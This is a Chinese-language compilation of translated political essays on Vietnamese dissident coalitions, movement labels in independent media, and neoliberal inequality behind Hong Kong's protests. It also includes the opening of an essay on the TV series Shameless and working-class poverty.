No-U FC 中的“U”象征着中国在地图上绘制的U形“九条线”，简而言之，No-U FC 批评越南政府对中国侵略的妥协态度，以及对中国的无限经济依赖，并且，也提出民主、新闻自由和集会自由，环境问题和政治犯的社会正义等问题。

他们像其他普通足球俱乐部一样定期参加足球比赛，但他们实际上也谈政治，交换新闻，计划运动，示威和请愿等。与农民进行的日常抵抗形式相比， No-U FC 的成员似乎不受日常生活结构的限制，相反，他们试图将这些结构转变为政治策略。

融合—— 最后，从越南持不同政见者群体的优势中吸取的一个教训是，他们习惯于提出解决环境、劳工、外国直接投资、社会权利和政治问责等问题的横向需求。然而，几年前开始战术联盟还几乎不是标准做法。但随着2009年一些喧嚣的环保活动的出现（针对中部高地地区的中国铝土矿），各种政治目标和关注的团体开始加强联系。将以前不同的主体和群体联系在一起，开始为工会会员、宗教领袖、人权和民主运动者以及农民和工人提供共同追求。

这种战术联盟的另一个例子在全国范围的2018年6月抗议活动中获得了一席之地。活动家和首次示威者、律师、农民和医生共同批评政府的法律草案。他们要求政府撤销新经济特区（SEZ）的提案，保障言论自由和个人数据安全。

然而，一些越南活动人士也认为环境保护和对经济特区的批评等问题被右翼意识形态主义者和机会主义者所误导，他们的实际战略包含了一个民族主义议程，无法在分析上区分中国帝国主义和恐怖主义。说到这一点，融合的策略是否为创造进步运动带来了宝贵的机会，或者“联盟政治”是否最终成为致命的失常，还有待观察。

超越给定的权力结构—— 活动家们对各种社会、政治和经济问题的

复杂性和纠缠性的认识，是超越个人或基于身份收益的斗争的关键条件。此外，这使他们能够解决越南社会的大部分问题，同时不同群体之间的联系和合作有机地发展。

各种运动、抗议活动和集体行动者是社会转型的起点。当然，对越南活动家的策略的见解可能不会明确地促成非越南人的直接学习的效果，因为规避镇压的内部和外部策略必须有所不同。但是，它确实有助于确定多样性和共同因素，这些因素可以在可能的国际团结和支持结构的基础上向世界迈进一步。

此外，了解其他斗争的战略和策略可以增强我们的想象力和审美能力，为另一个未来创造工具。然而，仅仅承认存在替代战术和可能的替代政治战略是不够的。基于进步议程的国际团结，将我们从资本主义与社会主义的二元论中解放出来，超越既定的权力结构—— 仍然是基本的。

❤ 注：越南的状况在90%程度上，与中国一模一样。但另外10%才是关键部分。您一定理解我在说什么。

11* 从民权到占领运动：独立媒体作为抗议资源

「图」

希望能给中国的独立媒体以参考 ——

社会运动有时会被认为是需要分别考虑的、被认为是专注于对不同类别的人群具有不同重要意义的特定问题。就像如果我们有兴趣组织起来以提高工资，我们可能会关注劳工运动，而不是其他运动。通常，关于社会运动的学术研究反映了这种解释，它们侧重于与比如女性运动或环境运动等特定问题的社会运动相关的动态。

然而，必须承认，已经越来越难以忽视交叉运动组织在促进社会变革方面的重要性。对协作动力、联盟建立、协调和联网的兴趣，均指向了运动一直面临的参与者、问题和战术的交叉性。

单一运动模型的缺陷是很容易看出来的。例如，“和平主义的天主教工人运动”要求我们想象将和平主义者（反战，和平，反核）、天主教（宗教）、和工人运动（工会，劳动）整合起来。我们可能会认为这样的标签是一种限制策略，为了引起更多的关注（伴随特定的历史发展叙事），是这样，但标签也通过将整个社会生活领域纳入叙事来扩大其影响范围—确实让人们有机会看到运动本身与自己和他人的联

系。

这个例子突出了我们如何标记和重视社会运动的符号学特征。虽然运动肯定表现出其物理特征（即人们在街头行进），但作为实体的运动通常难以确定或定义，因为它们可能随着时间的推移而改变特征，或者在不同的文化背景下意味着不同的东西。多年来，社会学家一直在对此烦恼，关于如何围绕我们可以根据经验理解为“运动”的清晰和可定义的界限。

相反，作为一种文化和符号资源，运动标签是一个战略模糊的标记，可用作 meme包，以传达关于谁参与、他们做什么、以及他们共同完成了什么的文化共享意义。它可以附加于边缘化的起义，将一场运动本身定位在社会变迁的历史叙事中。

独立媒体作为运动资源

在高度商业化的媒体环境中，运动的社论空间很小，参与者更多会将独立媒体和新媒体技术视为了解运动发展和意义建构的资源。

信息过载和对来源可信度的重视确保了独立媒体组织可作为社论筛选的持续重要性，以便帮人们描绘政治光谱并了解运动如何与之互动。Democracy Now! 就是一个非常成功的独立媒体范例，它做到了所有。

大炮和外围

人们必须选择的运动标签既多样又有限。特定问题（特定于一系列不满、战术、参与者等）和背景敏感性（社会历史特定的共享文化知识等）的组合，可用于理解被关注的主要运动的周边次要运动。参与者通常在一个文化叙事领域进行导航，整齐地包装在一系列运动标签中，选择那些被目标人群重视的、最容易与他们自己相关和类似的标签。例如，在当代美国的背景下，移民改革运动或移民权利运动被描述为“新的民权运动”，这样就能附加特定背景的文化意义，旨在提升合法性和感知成功的潜力。

结果就是一种核心/外围的结构，其中一组核心运动标签构成一种运动大炮，其中包括社会历史背景下最具文化重要性的社会运动。我们可能会将大炮视为高频的（最常用的）或稳定的（年复一年使用）、或两者的组合。

在 Democracy Now 的情况下，2003年至2013年期间，大炮包括：

反企业全球化运动；反战与和平运动；黑人和民权运动；独立和民主运动；妇女、女权主义者和选举权运动；国际团结和巴勒斯坦运动；工会和工人运动；LGBTQ 运动；人权运动；进步运动；学生运动；环境运动；和土著运动。

在叙事领域什么样的运动资源最受重视和最有可能被利用，受到主动动员或相对休眠期间动态变化的影响。我们也可能期望在两种不同的文化背景下有各自一套完全不同的观点和选择，随着新的运动出现，旧的运动会改变其意义，我们可能会期望随着时间的推移而发生显著变化。*Network of co-mentions of movements on Democracy Now! in 2009.*

一个例子就是，从 2009 年的民权运动到 2012 年的占领运动占主导地位的叙事领域的重点转移—— 见上下两个图。虽然两者都代表着重要的运动活动（2009 年围绕巴拉克奥巴马的总统选举，2012年围绕占领运动），但这其间社会文化动态发生了重大变化，同时民权运动标签的实用性被突出了。

在寻求理解运动动力学时，民权运动作为主导参照物的阶段性渐进效用让位于当前交叉运动组织空间的占领运动，以及未来交叉运动合作的潜在场所。*Network of co-mentions of movements on Democracy Now! in 2012*

交叉运动谈话的策略

查看选项是一回事，但使用运动标签作为资源则完全是另一回事。通过谈话在运动之间建立认知联系，是一项重要的技能，如果我们要说服其他人在群众行动、竞选活动或新的混合运动中与我们一起共同奋斗的话，它就是必需的。

这就涉及到在单个论证中熟练地使用几个逻辑组件的能力。

下图说明了参与者可以如何考虑与采取战略行动相关的运动策略的过程模型。虽然我们可以使用这样的模型来规划实际行动，但也可以看到我们对符号的选择如何呈现这些因素，同时通过独立媒体的现场辩论表明交叉运动协作的需求。

「图」

运动组织中的策略和行动的过程模型

首先，要强调运动所共有的可供性，可用于证明交叉运动活动的合理

性。人们可能会使用关于共同外部威胁（如分享警察镇压和渗透的危险）或机会（如可利用的政治家或精英）的说法，或者可能在运动内发出信号（如共享的意识形态框架或共同目标）。这些考虑在遵循资源动员的长期工作传统，该传统指出外部机会和威胁是动员成功的重要预测因素。

专注于识别共同参与者是交叉运动谈话中的另一个重要的逻辑组成部分。一种方法可能涉及概括参与类别（通常是列出个人或群体身份类别），或者可以特定参与者类别（通过列出单个身份类别或已经/正在进行交叉运动的个人）。Mische 的巴西青年运动工作也强调了这种做法，即 在交叉运动联盟建设中实现包容和排除的重要语言资源。

对共同的战术考虑提出主张是第三个逻辑组成部分，可以描述性地提出（通过描述运动如何组织，或阐述其他运动采取的策略，都可以提供成功的方法），或者说明性地提出（通过建议特定的战术选择或呼吁听众参与到交叉运动中来）。符号学实践是通过现场辩论促进运动之间战术相似性的重要因素。

虽然这些不是详尽无遗的，但以上这三个组成部分（可供性、参与者和策略）是关于参与者和学者的运动策略讨论的共同关键要素，并且注意如何巧妙地将它们编织成有效的论据将决定组织者在现有参与基础之外建立桥梁的能力。

交叉运动语言策略的部分技能来自于理解不断变化的社会背景，以及这些背景更喜欢哪些特定的争论和运动标签。例如，与讨论占领运动相比，在讨论民权运动时，现场辩论策略在几个方面都会有所不同。虽然一些策略（例如规定性和描述性策略）在两者中都很常见，但关于共同目标、共享机会以及运动如何影响社会变革的陈述，与占有运动的提及正相关，但与民权运动的提及呈负相关。

另一方面，特定参与者的陈述（即特定人或身份类别如何参与多项运动）与民权运动正相关，但与占有运动呈负相关。

结论

在研究社会运动如何塑造政治领域，并了解他们是谁、以及他们做了什么时，参与者和学者都可以从仔细研究运动标签和交叉运动谈话之间的关系中受益。

虽然上述已经表明，在描述潜在的盟友、类比或共享属性时，通常会有多种运动标签可供选择，但并非所有运动都具有相同的相关性，不

一定都适合于交叉运动提及。

事实上，运动的精英部分通常能构成一种突出的运动标签大炮，并作为问题、战术和政治关系的简明说法。此外，关注不断变化的社会文化叙事领域有助于识别具有有益语义属性的次要运动，这些运动可能有利地附属于所讨论的主要运动，这样就能将它们连接起来。

在研究参与者用于建立运动之间的叙事关系的语言策略时，我们可能会认为逻辑组件的集合与其他形式的运动策略一致。作为论证部分的组合，交叉运动策略的社会建构可以被认为包括三个主要关注领域：可供性的识别、跨界运动参与者的讨论、以及共同战术选择的呈现。

虽然很少会包括所有三个领域的要素，但强有力的交叉运动合作论据可以在仔细分析社会文化环境的基础上对选定的组成部分进行战略性的使用。希望这种分析能让我们更接近于做出有效的战略选择。

更希望中国的独立媒体能在社运联合方面成为贡献资源的重要渠道。
●

原文

新自由主义的香港向世界讲述了一个什么样的故事？ - iYouPort

关于中国社会社会反抗和思考

香港的民主为什么难以实现？请注意，不只是关于“香港人为什么要抗议”

「图」

「图」

这篇文章的作者 *Macabe Keliher* 是南方卫理公会大学历史学教授。他的研究重点是近代早期和近代中国的国家决策和政治经济学。他也是《*The Board of Rites and the Making of Qing China*》的作者（加州大学出版社*2019*年）

近二十年来，香港的示威游行 —— 无论是和平示威还是暴力示威 —— 都变得无处不在。偶然的观察者可能会轻易地指出2014年和2019年是“动荡的关键时期”，这些年吸引了全世界的注意力。前者的示威活动引用了“占领华尔街”的精神，占领了三个市中心和金融区长达七十九天；它后来被称为“雨伞运动”，指的是现在普遍使用的抗议工具，用来抵御警察胡椒喷雾的冲击。

2019年的抗议活动一直持续到2020年。在高峰期，一天之内就吸引了多达四分之一的香港人上街。警察的暴力和北京支持的强硬政府向人群发射了超过16000发催泪弹，逮捕了超过9000人。抗议者被防暴警察打瞎了眼睛、打断了骨头、打烂了脸，甚至被射杀，有些人年仅十四岁。

但是，这些活动在香港并不罕见。每年都有数以万计的游行、示威、抗议活动发生。根据香港警方的统计，**2010**年有**5656**次这样的抗议活动，到**2015**年，每年都有超过**6000**次。**2016**年这一数字跃升至**13158**次，到**2019**年一直保持在**1**万次以上。

平均每天都有超过30次的集会、示威、游行和抗议活动发生，我们不

得不得出结论，香港人发现他们的社会出了很大的问题，他们既在积极反对，又在不断地寻找方法、做法和想法来解决问题。

分析家和评论家们经常指出抗议者的普选要求和北京日益沉重的手；不过，有一些更基本的结构导致了香港社会的不公正：政治经济的组织使民主权利被剥夺和专制主义得以出现。

过去四十年来，香港在金融利益和自由市场理想主义的指引下，导致了经济权力的高度集中。商业税被削减，规例被取消或减少，公营部门被转为私营部门。尤其是，政府的政策和行政管理都掌握在商业大亨手中，他们利用这些权力来扩大自己的势力范围，国家权力也被调动起来，以维护一个运作良好的法律机构，代表资本维护产权，执行合同，保护商业投资，并普遍促进市场。

虽然正统的经济学家喜欢指出这些特征创造了理想的自由市场，但社会后果却是灾难性的。不平等在加剧，工资在下降，工作时间在增加，整体经济机会在减少，住房负担不起，以至于上班族"睡在麦当劳里"。难怪现在街头巷尾都在燃烧？实施这种经济理论导致了极少数人的巨大繁荣，但许多人的权利被广泛剥夺。1%企业集团不仅能够垄断，而且还能完全接管所有经济生活。

虽然香港是这种社会经济做法的一个突出例子，但它绝不是独一无二的。这个具体案例鲜明地体现了过去40年全球政治经济的发展趋势。在七八十年代，自由市场的倡导者和政治家们开始提出一些理念和实施一些政策，这些理念和政策既赋予资本权力，又动员政府为资本服务。这不仅导致了社会计划和保护措施的缓慢被拆除，也导致了政府权力的使用 —— 以创造一个全球资本可以蓬勃发展的环境。

通过军事、法律和政治手段，一套关于市场、产权和个人主义的观念在全世界范围内得以实施。

这种公共和私人之间的模糊划分导致政府公开代表资本，以制造一个有利于全球资本而不是劳动力、有利于私人公司而不是社会和社会福利、有利于经济集中而不是经济民主的经济体系。

这是一个通过政治和资本的弱化而延续的体系，富人通过购买有利的经济政策来进一步巩固他们的地位和财富。通过政治影响，他们获得了较低的税收、较大的税额扣抵、较少的法规和企业保护等。

从这个角度看，香港只是一个大趋势的极端案例 —— 一个陷入新自由主义魔爪的社会所等待的未来的高级表现。

「图」

「图」

要了解香港社会，重新审视经济正统，尤其是对香港的看法，是很有启发的。1980年，芝加哥学派的自由市场经济学家米尔顿·弗里德曼（Milton Friedman）就他的思想制作了一部公共广播公司的电视系列片，片名是“自由选择”。第一集的焦点就是香港。

“如果你想看看自由市场到底是如何运作的”，弗里德曼靠在香港港口一艘客运渡轮的栏杆上说，“这里就是你要来的地方。”

根据弗里德曼和自由市场的思想家们的观点，香港是他们思想的完美试验，因为除了一个深水港之外，香港几乎没有任何自然资源，而且殖民国家在治理方面采取了一种不干涉的方式，没有平摊关税，也没有什么规章制度。他说，香港是“一个欣欣向荣、熙熙攘攘、充满活力的城市”，这“是由自由市场 —— 实际上是世界上最自由的市场 —— 造就的！”

在香港的自由市场论述中，政府规模小，不受干扰，让人们自己决定自己的生活，让经济以“自然的方式”发展。主张者称，自由市场和缺乏管制，使个人能够对自己的生活选择负责，并对如何最好地运用自己的技能来实现繁荣的生活进行理性的计算。个人承担其战略失败的后果，并收获其成功的回报。按照自由市场人士的说法，这使得香港经济繁荣，生活水平高，死亡率低。

弗里德曼带着观众走过一条小巷，穿过一个阳台，来到一个“工厂”，这其实是一个小公寓，里面有三四个赤裸上身的男人在风扇下雕刻象牙。他宣布，这些都是香港工资最高的工人，他们可以游说雇主改善工作条件，但他们却选择接受条件，将更高的工资收入囊中，随心所欲地消费。

弗里德曼的逻辑很有诱惑力。如果取消所有的国家干预，让市场来设定交换和分配的条件，人们就会倾向于最有效的生产和流通方式。如果市场是自由的，所有的交易都是自愿的，那么产业政策和认证就没有必要了，因为个人会以自己的最大利益为出发点，建立工厂并为服务付费，或者他们不这样做，剩下的事由市场来解决。

香港是弗里德曼的概念证明。他指着这个世界上最繁忙的港口，船到了那里，运走了由无窗工厂里的妇女用灵巧的手组装的塑料水枪，以及陈先生在街上焊接的铁皮集装箱。

30年后的2011年，保守派卡托研究所的一位高级研究员追随弗里德曼的脚步，指出香港的天际线拥有比整个纽约更多的摩天大楼，作为他证明自由市场持续成功的证据。他说，香港GDP的惊人增长，不是靠政府的指令，而是靠自由市场实现的。这就是世界对香港的理解，也是对所有社会和经济生活本身的自然秩序的理解。

但是，这种对香港的理解，在理论上是短暂的，在实践中也是短暂的，它误导了国家的角色，忽视了不断发展的区域经济。

当所有的生产都转移到中国，工厂要么倒闭，要么离开时，会发生什么？当侯先生不能像弗里德曼所说的那样，因为寡头垄断、地价飞涨而使他的相框店机械化时，会发生什么？当梁先生必须关闭他的广东婚纱店，因为物业租金已经涨到只有国际奢侈品牌爱好者才能承受的程度，会发生什么？工资停滞不前，社会流动停止，又会怎样？

表面上看，人要适应市场的力量，提升自己的技能，向价值链上游发展。但是，如果大学教育只能让你负债累累，并在服务行业从事世界上最长时间的最低工资工作（如果你有幸找到工作的话）会发生什么？而住在一个四十八平米的劏房里，却要为此支付世界上最高的租金时，这又是一种"什么样的选择？"

总之，自由市场新自由主义的失败盖过了成功。到底出了什么问题？这个小政府和自由市场的体系是如何产生如此多的不平等？它是如何造成寡头垄断和富人统治的？经济机会怎么会减少，自由怎么会乱了套？…… 事实上，如果世界上最自由的市场如此伟大，人们为什么要抗议？

「图」

「图」

其中一个地方就是去工业化。耐人寻味的是，弗里德曼香港之行的所有对象，不是在工厂工作，就是从事商品生产的小本创业。当弗里德曼1980年访问香港时，香港 —— 乃至整个东亚地区 —— 正处于战后数十年制造业繁荣的尾声。中国移民越过边境，在工厂里工作，为美国消费者制造塑料玩具、低端电子产品和其他商品。

由于廉价的劳动力和便利的交通，新界成为制造业中心，经历了指数级的增长和相对较高的工资。然而，当中国的经济改革在20世纪80年代开始扎根，并在90年代加速推进时，制造业向北迁移到了广州、深圳和华南其他地区，这些地区提供了土地、充足的投资资本，以及环

境和劳动法规的通行证。

为了量化这种转变，考虑到在1980年代中期，制造业占香港GDP的四分之一以上。今天，它只占不到**1%**。1981年，超过41%的人口受雇于制造业，但到2011年，这个数字已经下降到**4%**，而且还在继续下降。

制造业的衰落被金融、商业和消费服务的增长所抵消。香港开始转型，一方面，成为原材料和生产的货物进出中国的加工厂，另一方面，成为监督珠江三角洲制造业繁荣的金融中心。香港的资本进入了进出口贸易的服务领域，满足了整个地区的旅行者的需求，并开始了批发业务和货物仓储。

从数量上看，制造业急剧下滑：该行业曾一度雇佣了近一半的香港人口，但现在几乎没有人被雇佣。相反，其他行业则经历了相应的增长。1981年，19.2%的劳动力受雇于批发和零售业、进出口贸易、餐饮和酒店业；到2011年，这一数字已增长到30%以上。同样，金融、保险、房地产和商业服务部门在劳动力中的比例也从1981年的不足5%上升到2011年的近20%。

这种转变的后果不是广泛的社会繁荣，而是不断升级的不平等。

可以肯定的是，香港的国内增长是惊人的，从2000年到2014年，GDP实际增长了近70% —— 而这是在多次经济和金融危机的情况下。同样，失业率也从2003年的8%以上持续下降到病毒大流行前的3%以下。

然而，这些收益却落入了榨取租金的经济精英手中。

首先考虑香港不断上升的基尼系数 —— 不平等的黄金标准。**2016**年，它是世界上最高的地区之一，为 **0.539**，高于2001年的 0.525，其中0代表收入完全平等，1代表一个人拥有所有收入的情况。美国在2017年录得的基尼系数是 0.485，为五十年来最高。

2013年，香港最富有的10%的人拥有超过四分之三的人口的财富，香港四十五位亿万富翁的财富相当于GDP的80%。这种状况是工资停滞不前、不断下降的结果。

以2001年至2011年为例，最低的五分之一家庭月收入中位数的总份额从3.2%下降到2.6%，但最高的五分之一家庭月收入中位数却从56.4%上升到57.1%。事实上，自1997年以来，受过教育的青年的工

资不仅没有增长，有时甚至有所下降。

教育的增加并没有帮助解决这个问题，事实上，它反而使这个问题更加严重了。作为政府通过鼓励大学教育来提升技能的一部分，2000年制定了将高中毕业生上大学的人数从20%提高到60%的目标，2015年这个数字远远超过了70%。这导致了高学历的劳动力 —— 世界上教育程度最好的劳动力 —— 但却也找不到好工作。

最近的一项研究发现，如今的毕业生的实际收入比二十五年前少了10%。同样，从2003年到2014年，毕业生的工资也停滞不前，即使增加了，也比GDP增长的速度慢得多。

而这是在毕业生能找到工作的情况下，而事实上毕业生数量的增长超过了技术岗位的增长。例如，2007–2017年期间，包括行政和专业岗位在内的技术岗位数量增加了18%，从122万个岗位增加到144万个，但拥有学位的工人数量增加了近60%。

一位社会工作者在报道与一位14岁学生的对话时说，年轻人 “更多地将高等教育视为陷入巨额债务的路径，而不是实现社会流动。简而言之，[他们] 看不到任何可以向往的生活”。

社会流动性不足的情况特别令人震惊，因为它发生在一代人的身上。1991年，84%的大学毕业生找到了一份中产阶级的工作，但到2011年，这个数字已经下降到75%。虽然这种下降看起来并不那么陡峭，但是，一旦将中产阶级的上层和下层工作区分开来 —— 即 前者是经理、管理者和专业人员，后者是准专业人员 —— 下降的幅度就更大了，从1991年超过60%的毕业生在中产阶级的上层工作中获得职位，到2011年只有不到40%。

同时，越来越多的毕业生不得不从事文职、服务和零售等非中产阶级工作。这些数字表明，越来越多的大学毕业生发现，劳动力市场的回报率越来越低，他们面临的人生机会越来越少。

与此同时，生活成本却在增加。自97以来，房地产价格已经飙升了126%，而按揭贷款可以消耗个人收入的70%。事实上，香港的房屋价格每平方英尺约为 2,500 美元，一直是世界上最昂贵的。

过去十年，香港的房价创下了"全球最高纪录"，一个家庭需要二十多年的积蓄才能买得起房，几乎是全球第二贵的城市温哥华的两倍。正如一位评论家所说，人们 “只能幻想拥有人类最基本的舒适 —— 一个人的屋顶”。

消费价格也跟着出现了天文数字般的增长。例如，汽油价格在过去7年里暴涨了108%，到2020年4月，每加仑汽油价格超过8美元，比国际平均水平高出131%。食品价格也仍然是世界上最高的，香港的新鲜食品价格是英国的两倍半。

「图」

「图」

形势是严峻的。工作机会越来越少，工资停滞不前，住房遥不可及，物价上涨，个人债务不断累积。香港经济的这种状况，是至少可以追溯到**1960**年代的发展所造成的结果，当时的经济结构，是为了让经济精英能够从其他人身上榨取租金。

当时，本地企业家开始巩固房地产市场，并利用他们的地位和资本，增加土地持有量，并将活动扩展到其他经济部门，如超市和公用事业，形成了大型寡头垄断。

这导致的不是自由市场，而是二元经济，国际贸易仍然相对自由开放，但国内经济却只掌握在少数富豪手中。

这种经济权力集中的故事是围绕土地展开的。在20世纪60年代，少数开发商开始巩固对土地的控制，并垄断了一个被殖民政府限制的市场。随着20世纪60年代末和70年代中国政局的不稳定，以及移交谈判和中国统治结果的不确定性，英国公司开始剥离其投资组合。这些资产被本地开发商抢购一空，他们的持有面积从1979年的160万平方米急剧增加到1997年的1150万平方米。

集中度达到了这样的程度 —— 到了90年代中期，70%的新建私人住宅由7家开发商提供，55%则来自4家开发商。到2009年，最大的单一开发商恒基地产拥有近2000万平方英尺的可开发建筑面积，加上3000多万平方英尺的农业用地，到2015年，这一数字增加到4450万平方英尺。

然而，恒基及其他几个竞争对手并没有开发这块土地，而是将其存入了银行。他们坐等土地价格上涨，然后慢慢放售房屋，以确保价格保持稳定。

正如政策智囊团 Civic Exchange 所言：“香港还有一个神话 —— 土地不足。一个普遍的观点是，房价高是因为供应不足。事实是，只要土地市场更灵活地进行开发和更新，土地是有很多的。”

除了保证高租金外，这种策略还有一个“好处”，就是把那些既无力等待价格上涨，又没有关系和技术调动银行家、投资者和拍卖市场的小开发商赶走。近年来，开发商的队伍已经严重萎缩，因为只有少数来自中国大陆的资本雄厚的大公司能够进入。

更糟糕的是，开发商拥有的远不止是土地：他们控制着香港的大部分经济。超市、公用事业、交通、银行、广播和电信，都在他们的管辖范围之内。事实上，它们是在这些领域拥有寡头垄断地位的集团。

“这就是您在香港的典型生活”，一份报告指出了这些寡头的控制情况：

在李嘉诚那里买完菜，你跳上郑裕彤的一辆巴士，送你回郭氏兄弟的公寓做饭，你猜对了，是李兆基提供的煤气 …… 有了这样的触角，大集团捆绑在一起很容易。如果你买了恒基兆业的房子，你可以肯定热水器会用天然气。有一家开发商和记电讯，甚至想把自己的电信服务纳入长江实业泓景台的屋邨管理方案中，后来被居民投诉，才作罢。

这四个名字指的是拥有四大财团的四个家族，它们在所有经济部门都有公司网络。

这些公司不仅仅是为消费者提供服务，它们还串通起来，阻碍竞争，提高价格，榨取最高租金。

当法国大型超市家乐福试图打入香港市场，打破惠康和百佳的超市双头垄断时，这些同时拥有所有房地产的财团确保家乐福找不到足够的场地开店。

这些集团进一步指示批发商不要向新进入者供货。结果家乐福放弃了这个市场。由于地位稳固，这两家连锁店在两年内平均提价近4%，在总体零售价格下降了5%以上的情况下。

从教科书、机动车教学、到建筑服务，甚至面条等商业行业，都受到这些集团的垄断联盟。鉴于他们拥有所有的商业地产，提高租金价格，赶走当地的小零售商，等着国际奢侈品牌来支付高昂的租金，既提高了自己的底线，又把竞争挡在了门外，这种情况并不少见。

一份报告写道，“在这些中产阶级社区的大街上走一走，你经常会看到四五六家甚至更多的房产中介，而在这些地方，过去有一家理发店、一家文具店、一家复印店和一家母婴商店。”

弗里德曼所倡导的创业精神并没有像他所预言的那样被自由市场所释放，而是，被自由市场扑灭了。

「图」

「图」

2019年6月，当数以百万计的香港示威者在街头被催泪瓦斯攻击时，香港最大的英文日报的新闻主编发表了一篇严厉的视频评论。

“这是关于感到无望、沮丧和受压迫”，"他说"，“这是关于认为没有人关心他们的不满，无论是源于社会问题还是政治问题，都没有未来。”

他接着解释说，目前的状况是企业集团及其经济权力极度集中的产物。他说，住房和垄断，“仍然是引起不满和社会纷争的根源”。

行政和立法机构允许它继续存在，这当然如那位主编所宣称的那样“令人无比愤怒”，但这也是政治经济的直接后果。经济正统的政策早已将弗里德曼的香港的繁华市场、嗡嗡作响的工厂和小企业家精神消灭殆尽，取而代之的是榨取租金的怪物，几乎没有给其他人留下什么市场准入和机会。

抗议者的口号是“全民主权”：让普通人能够通过投票选出承认并为他们的利益、需求和愿望而奋斗的代表，从而对自己的生活有更大的控制权。但是，香港的经济和政治精英，更不用说中国的经济和政治精英了，他们抵制结构性变革和对政治秩序的挑战。

就像历史上任何一个统治阶级一样，他们的权力和地位都是在现有的社会、政治和经济安排中得到确认和保障的。他们的法律阐明了这些结构，并试图用更多更大的措施来压制抗议和异议，将他们的关系包裹在一个越来越坚硬的外壳中。

普选将取代中国，瓦解商业寡头；它将导致对中国主权的挑战，打破政治结构。商界精英担心，如果失去对政府的影响力，失去在立法机关的地位，他们的传声筒可能会沦为喊话。

如果抗议成功，真正的反垄断法可能会被通过，打破大财团对经济的垄断。有意义的竞争法可能会被颁布，使想要进入市场的新人能够进入市场，使消费者从垄断联盟的价格暴政中解放出来。充足的公共住房可能会得到建设，让公民有一个合适的屋顶，并降低私人住宅的高昂价格。民主甚至可能推动一个前瞻性的宪法，不受新自由主义意识

形态的欺骗。

正是由于这些原因，民主遭遇了巨大的阻碍。太多根深蒂固的政治和经济利益受到这种前景的威胁；那些拥有政治和经济权力的人已经表明，他们更愿意以死相拼，或者说是以攻代守，而不是放弃这些利益。

新的所谓《国家安全法》不仅被用来逮捕和指控行使言论权的抗议者，还被用来取消候选人竞选立法席位的资格，最激进的是，它还以“煽动分裂” 的嫌疑逮捕了4名此前组建支持独立的政治团体的年轻人。专制主义正代表资本被动员起来。

这就是我们现在所居住的勇敢新世界。伯尼·桑德斯将其称为新的威权主义轴心，从匈牙利到美国的煽动者利用分裂来加强对权力的控制，进一步实现"经济集中和财富积累"。世界各国的领导人不仅越来越多地颁布"专制措施"来巩固自己的权力 —— 从废除"民主"规范到"扼杀新闻"和"言论自由" —— 而且，还利用"国家"来创造有利于某些经济利益的条件。

越来越无法判断政府的政策和做法在哪里结束，无法知道政府领导人 —— 不论是民选的还是自封的领导人 —— 及其内部圈子的利益和好处在哪里开始。可以肯定的是，政治和经济精英之间的巨大衰减已经持续一段时间了，但现在更明显地表现出来了。这就是新自由主义所造就的世界。〇

Neoliberal Hong Kong Is Our Future, Too

原文

无产阶级的故事 "无耻之徒"， 结束了 - iyouport

社会反抗和思考

那些政客、亿万富翁企业高管、对冲基金经理和皇室君主 -- 才是真正的垃圾、真正的寄生虫、一直以来真正的*无耻阶级*。

在《无耻之徒》第11季的一集中，伊恩·加拉格 “在仓库里拖箱子的最低工资新工作” 中经历了工资被盗。他发现管理层在他工作了45个小时的情况下只付了39个小时的工资，还扣除了储物柜的费用、安全背心和上厕所的钱。一个同事告诉他，“这就是工人生活的常态”。两集之后，伊恩辞去了这份工作，转而经营毒品生意。

《无耻之徒》是 Showtime 对不断扩大的无产阶级的悲惨现状的研究，在成为电视上*唯一的*同类剧集十多年后于今年结束。这是一个反霍瑞修·爱尔杰的故事，将这个社会本应有的安全网的缺口暴露了出来。加拉格家是芝加哥南部一个功能失调的家庭，与其他描述工人阶级家庭的电视作品不同，如《全家福》中的邦克家族，或《玫瑰园》中的康纳家族；正如该剧创作者保罗·阿博特告诉《纽约时报》的：“这不是蓝领，是无领”。

【注：霍瑞修·爱尔杰是一位多产的美国作家，他的作品风格可以描述为中文所称的 “正能量”、或者 “鸡汤励志” —— 他的小说基本上都是在描述一个贫穷的少年是如何通过其正直、努力、少许运气以及坚持不懈最终取得成功的。这类鸡汤如今已经愈发没市场了。】

该剧中的人物被生活中的基本物质需求所驱使 —— 没有人能够奢望成为自我实现者。他们在体力劳动和食品服务工作、在监狱和无家可归者收容所之间辗转，用乞讨、偷窃、欺诈和多种性工作来补充最低工资或政府援助（两者都不足）。《无耻之徒》是一部粗俗、怪诞、卑微的作品，相比下过去10年中其他高级有线电视的作品都是由富人组成的华美的、有抱负的幻象。而该剧是对一个制度的控诉，在这个制度中，两个政党都抛弃了一个绝望的下层社会。当该剧结束时，观

众将失去对越来越多的关于底层人生活方式的真实反映。

这样的反思在主流大众媒体中一直很难找到。早期好莱坞的自我审查制度，即《电影制作守则》，禁止在电影中描述犯罪，除非罪犯是不值得同情的人物，为他们的罪孽而受苦。该法规还不鼓励对非法毒品和“出卖女性贞操”的描写。虽然该守则于1968年正式结束，并不适用于电视，但是，其精神在小屏幕上萦绕了几十年，与观众对毒品、卖淫和其他类型犯罪故事的胃口相冲突 —— 观看主人公违反社会规范的代入感。电视剧作家面临的挑战是如何给观众提供他们想要的东西，同时加强传统的中产阶级价值观，这些价值观自20世纪50年代以来一直支撑着这种类型的作品。如何做到这一点？让犯罪无处不在，但贫穷却不可见。

在21世纪初，一项研究表明，所有黄金时段的电视节目中都有三分之一是围绕犯罪展开的；而奇怪的是，研究还发现，电视编剧给了大多数犯罪角色专业性的或管理性的工作，否则就是让观众完全不知道他们的工作和社会经济地位问题。今天的情况也是如此。我们在诸如《亿万富翁》或各种宣传性质的节目中看到的虚构的罪犯经常都是白领，或者他们在某种程度上被渲染为“无阶级”。这些作品叙述的重点是描写个人的病态而不是环境物质条件。电视也更倾向于描述暴力犯罪—— 例如强奸和谋杀—— 而不是更琐碎的生存犯罪（为了维生而不得不进行的所谓“非法”活动），例如入店行窃、小规模毒品交易，或偶尔为现金提供手工工作，在一个工资被压制并且租金飞涨的时代，这些非正式的小方法才有可能让人们维持生计。很少有电视节目在政治上和意识形态上涉及阶级和劳工问题。更少有人探讨过穷人是如何（以及为什么）被推入犯罪的地下经济的。

